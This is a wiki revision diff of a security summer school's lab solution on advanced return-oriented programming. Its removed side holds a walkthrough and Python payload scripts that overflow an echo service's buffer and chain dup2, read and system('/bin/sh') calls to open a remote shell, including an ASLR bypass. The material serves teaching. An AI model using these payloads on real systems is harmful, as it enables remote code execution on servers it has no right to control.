session:solution:12
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| session:solution:12 [2015/07/23 13:47] – [Idea for Bypassing ASLR] Razvan Deaconescu | session:solution:12 [2020/07/19 09:49] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| - | ====== | + | ====== |
| - | ===== Gadget Tut ===== | + | [[http://security.cs.pub.ro/summer-school/res/arc/12-return-oriented-programming-advanced-sol.zip|Solutions archive]] |
| - | + | ||
| - | TODO | + | |
| - | + | ||
| - | ===== Echo Service ===== | + | |
| - | + | ||
| - | < | + | |
| - | The log file created with [[http://man7.org/ | + | |
| - | </note> | + | |
| - | + | ||
| - | By going through the '' | + | |
| - | + | ||
| - | Let's first consider our steps. | + | |
| - | - We will create a payload that overflows the '' | + | |
| - | - We will update the payload issue the following calls through the ROP chain, as also indicated in the task: | + | |
| - | - '' | + | |
| - | - '' | + | |
| - | | + | |
| - | - We will start the server and then we will use '' | + | |
| - | + | ||
| - | We aim for the stack to be the one below:< | + | |
| - | 0x00000000 | + | |
| - | ... | + | |
| - | start address of buf | + | |
| - | ... | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | " | + | |
| - | +--------------------------------+ | + | |
| - | + | ||
| - | ... | + | |
| - | 0xFFFFFFFF | + | |
| - | </ | + | |
| - | + | ||
| - | In the above figure we will overflow the '' | + | |
| - | + | ||
| - | We can use '' | + | |
| - | TODO | + | |
| - | </ | + | |
| - | This makes sense since '' | + | |
| - | + | ||
| - | We'll first get all the required data for creating the payload, then we'll create and run the non-ASLR enabled attack and then we'll use the ASLR-enabled attacks. | + | |
| - | + | ||
| - | ==== Getting Required Data ==== | + | |
| - | + | ||
| - | Let's first use GDB to gather all the required data for creating the payload. We need: | + | |
| - | * the offset of the return address for the '' | + | |
| - | * the address of the '' | + | |
| - | * the address of the '' | + | |
| - | * the address of the ''/ | + | |
| - | * a ROP gadget that consists of two '' | + | |
| - | + | ||
| - | The '' | + | |
| - | + | ||
| - | We'll use '' | + | |
| - | </ | + | |
| - | The offset is '' | + | |
| - | + | ||
| - | We'll use the '' | + | |
| - | TODO | + | |
| - | </ | + | |
| - | The addresses are: | + | |
| - | * '' | + | |
| - | * '' | + | |
| - | + | ||
| - | We'll use '' | + | |
| - | </ | + | |
| - | The address for ''/ | + | |
| - | + | ||
| - | We'll use '' | + | |
| - | </ | + | |
| - | The address of the gadget is '' | + | |
| - | + | ||
| - | We'll use these data to construct the payload. | + | |
| - | + | ||
| - | ==== Creating the ROP Payload (non-ASLR) ==== | + | |
| - | + | ||
| - | Based on the above information we create the following Python file for printing out the payload:< | + | |
| - | # | + | |
| - | + | ||
| - | import sys | + | |
| - | import struct | + | |
| - | + | ||
| - | # 0x8048b6e: pop edi; pop ebp; ret | + | |
| - | pop_pop_ret = 0x8048b6e | + | |
| - | # libc : 0xb7f561a9 ("/ | + | |
| - | bin_sh = 0xb7f561a9 | + | |
| - | # Symbol " | + | |
| - | system_plt = 0x8048670 | + | |
| - | # Symbol " | + | |
| - | dup2_plt = 0x80485f0 | + | |
| - | + | ||
| - | # Offset from buffer start to function return address is 1040. | + | |
| - | payload = 1040*" | + | |
| - | + | ||
| - | # Add ROP for dup2(sockfd, | + | |
| - | # * address of dup2() | + | |
| - | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | + | |
| - | # * dup2 arguments: sockfd (4) and standard output (1) | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Add ROP for dup2(sockfd, | + | |
| - | # * address of dup2() | + | |
| - | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | + | |
| - | # * dup2 arguments: sockfd (4) and standard input (0) | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Add ROP for system("/ | + | |
| - | # * address of dup2() | + | |
| - | # * return address for system(): we don't care, just use zero | + | |
| - | # * system argument: address of "/ | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | sys.stdout.write(payload) | + | |
| - | </ | + | |
| - | + | ||
| - | The payload creates a padding of '' | + | |
| - | TODO xxd | + | |
| - | </ | + | |
| - | + | ||
| - | ==== Testing the non-ASLR Payload ==== | + | |
| - | + | ||
| - | We run the payload on a non-ASLR system. We have deactivated ASLR and we check that:< | + | |
| - | </ | + | |
| - | + | ||
| - | Let's first test the payload by running the server under GDB. We'll break after the '' | + | |
| - | </ | + | |
| - | We can see that the stack right before returning from the '' | + | |
| - | + | ||
| - | Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment and ASLR is disabled.< | + | |
| - | </ | + | |
| - | + | ||
| - | Excellent! We have created a shell by calling '' | + | |
| - | + | ||
| - | Let's try the same thing on an ASLR-enabled system:< | + | |
| - | </ | + | |
| - | + | ||
| - | It doesn' | + | |
| - | + | ||
| - | ==== Idea for Bypassing ASLR ==== | + | |
| - | + | ||
| - | The random placement of the '' | + | |
| - | + | ||
| - | Our idea is to use a '' | + | |
| - | 0x00000000 | + | |
| - | ... | + | |
| - | start address of buf | + | |
| - | ... | + | |
| - | +--------------------------------+ | + | |
| - | | dup2() address | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | fixed writable address | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | | + | |
| - | +--------------------------------+ | + | |
| - | | fixed writable address | + | |
| - | +--------------------------------+ | + | |
| - | + | ||
| - | ... | + | |
| - | 0xFFFFFFFF | + | |
| - | </ | + | |
| - | In the above figure we add the '' | + | |
| - | - the socket file descriptor ('' | + | |
| - | - the fixed writable address where the '' | + | |
| - | - the length of the message we will deliver ('' | + | |
| - | + | ||
| - | We need an additional gadget that pops 3 times and the uses a '' | + | |
| - | + | ||
| - | We need the following in order to create the payload that gets us to the above stack configuration: | + | |
| - | - the address of the '' | + | |
| - | - the address of a ROP gadget that uses 3 '' | + | |
| - | - the fixed writable address we will use to store the '' | + | |
| - | + | ||
| - | For the first two addresses we use GDB:< | + | |
| - | </ | + | |
| - | The address of '' | + | |
| - | + | ||
| - | For the fixed writable address we inspect the executable using '' | + | |
| - | </ | + | |
| - | We see that we have access to the '' | + | |
| - | + | ||
| - | This is all the information we need to construct the payload. | + | |
| - | + | ||
| - | ==== Creating the ROP Payload (ASLR) ==== | + | |
| - | + | ||
| - | Based on the above information we create the following Python file for printing out the payload:< | + | |
| - | # | + | |
| - | + | ||
| - | import sys | + | |
| - | import struct | + | |
| - | + | ||
| - | # 0x8048b6e: pop edi; pop ebp; ret | + | |
| - | pop_pop_ret = 0x8048b6e | + | |
| - | # 0x8048b6d: pop esi; pop edi; pop ebp; ret | + | |
| - | pop_pop_pop_ret = 0x8048b6d | + | |
| - | # libc : 0xb7f561a9 ("/ | + | |
| - | bin_sh = 0xb7f561a9 | + | |
| - | # Symbol " | + | |
| - | system_plt = 0x8048670 | + | |
| - | # Symbol " | + | |
| - | dup2_plt = 0x80485f0 | + | |
| - | # Symbol " | + | |
| - | read_plt = 0x8048600 | + | |
| - | # [24] .data | + | |
| - | data = 0x0804a060 | + | |
| - | + | ||
| - | # Offset from buffer start to function return address is 1040. | + | |
| - | payload = 1040*" | + | |
| - | + | ||
| - | # Add ROP for dup2(sockfd, | + | |
| - | # * address of dup2() | + | |
| - | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | + | |
| - | # * dup2 arguments: sockfd (4) and standard output (1) | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Add ROP for dup2(sockfd, | + | |
| - | # * address of dup2() | + | |
| - | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | + | |
| - | # * dup2 arguments: sockfd (4) and standard input (0) | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Add ROP for read(sockfd, | + | |
| - | # * address of read() | + | |
| - | # * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) | + | |
| - | # * read arguments: 4, data address, 8 bytes for /bin/sh\n | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Add ROP for system("/ | + | |
| - | # * address of dup2() | + | |
| - | # * return address for system(): we don't care, just use zero | + | |
| - | # * system argument: address of "/ | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | sys.stdout.write(payload) | + | |
| - | </ | + | |
| - | + | ||
| - | The payload creates a padding of '' | + | |
| - | TODO xxd | + | |
| - | </ | + | |
| - | + | ||
| - | ==== Testing the ASLR Payload ==== | + | |
| - | + | ||
| - | We run the payload on an ASLR-enabled system:< | + | |
| - | </ | + | |
| - | + | ||
| - | Let's first test the payload by running the server under GDB. We'll break after the '' | + | |
| - | </ | + | |
| - | We can see that the stack right before returning from the '' | + | |
| - | + | ||
| - | Let's now run it outside GDB. We should have no problems since all addresses we are using are not influenced by the GDB environment.< | + | |
| - | </ | + | |
| - | + | ||
| - | Excellent! We have created a shell by calling '' | + | |
| - | + | ||
| - | As you can see, we rely on the '' | + | |
| - | </ | + | |
| - | + | ||
| - | ==== Alternative ASLR Payload and Testing ==== | + | |
| - | + | ||
| - | If we wanted to provide the '' | + | |
| - | + | ||
| - | The updated payload file will be:<file Python payload-aslr-alt.py> | + | |
| - | # | + | |
| - | + | ||
| - | import sys | + | |
| - | import struct | + | |
| - | + | ||
| - | # 0x8048b6e: pop edi; pop ebp; ret | + | |
| - | pop_pop_ret = 0x8048b6e | + | |
| - | # 0x8048b6d: pop esi; pop edi; pop ebp; ret | + | |
| - | pop_pop_pop_ret = 0x8048b6d | + | |
| - | # libc : 0xb7f561a9 ("/ | + | |
| - | bin_sh = 0xb7f561a9 | + | |
| - | # Symbol " | + | |
| - | system_plt = 0x8048670 | + | |
| - | # Symbol " | + | |
| - | dup2_plt = 0x80485f0 | + | |
| - | # Symbol " | + | |
| - | read_plt = 0x8048600 | + | |
| - | # [24] .data | + | |
| - | data = 0x0804a060 | + | |
| - | + | ||
| - | # Offset from buffer start to function return address is 1040. | + | |
| - | payload = 1040*" | + | |
| - | + | ||
| - | # Add ROP for dup2(sockfd, | + | |
| - | # * address of dup2() | + | |
| - | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | + | |
| - | # * dup2 arguments: sockfd (4) and standard output (1) | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Add ROP for dup2(sockfd, | + | |
| - | # * address of dup2() | + | |
| - | # * return address for dup2(): gadget to pop dup2() arguments (pop_pop_ret) | + | |
| - | # * dup2 arguments: sockfd (4) and standard input (0) | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Add ROP for read(sockfd, | + | |
| - | # * address of read() | + | |
| - | # * return addres of read(): gadget to pop read(arguments) (pop_pop_pop_ret) | + | |
| - | # * read arguments: 4, data address, 8 bytes for /bin/sh\n | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Add ROP for system("/ | + | |
| - | # * address of dup2() | + | |
| - | # * return address for system(): we don't care, just use zero | + | |
| - | # * system argument: address of "/ | + | |
| - | payload += struct.pack("< | + | |
| - | + | ||
| - | # Fill 4096 bytes to complete read() call. | + | |
| - | bytes_so_far = len(payload) | + | |
| - | payload += (4096-bytes_so_far)*" | + | |
| - | + | ||
| - | # Send "/ | + | |
| - | payload += "/ | + | |
| - | + | ||
| - | sys.stdout.write(payload) | + | |
| - | </ | + | |
| - | + | ||
| - | As said we've added additional payload to fill the '' | + | |
| - | + | ||
| - | However, the moment we test the program we see it fails:< | + | |
| - | </ | + | |
| - | + | ||
| - | We use '' | + | |
| - | + | ||
| - | We update the extra padding line in the payload:< | + | |
| - | # Fill 4096 bytes to complete read() call. | + | |
| - | bytes_so_far = len(payload) | + | |
| - | payload += (4096-bytes_so_far)*" | + | |
| - | </ | + | |
| - | + | ||
| - | We test the program again and we see it works< | + | |
| - | </ | + | |
| - | A shell is created through a ROP-based attack. Work complete! | + | |
session/solution/12.1437659224.txt.gz · Last modified: by Razvan Deaconescu
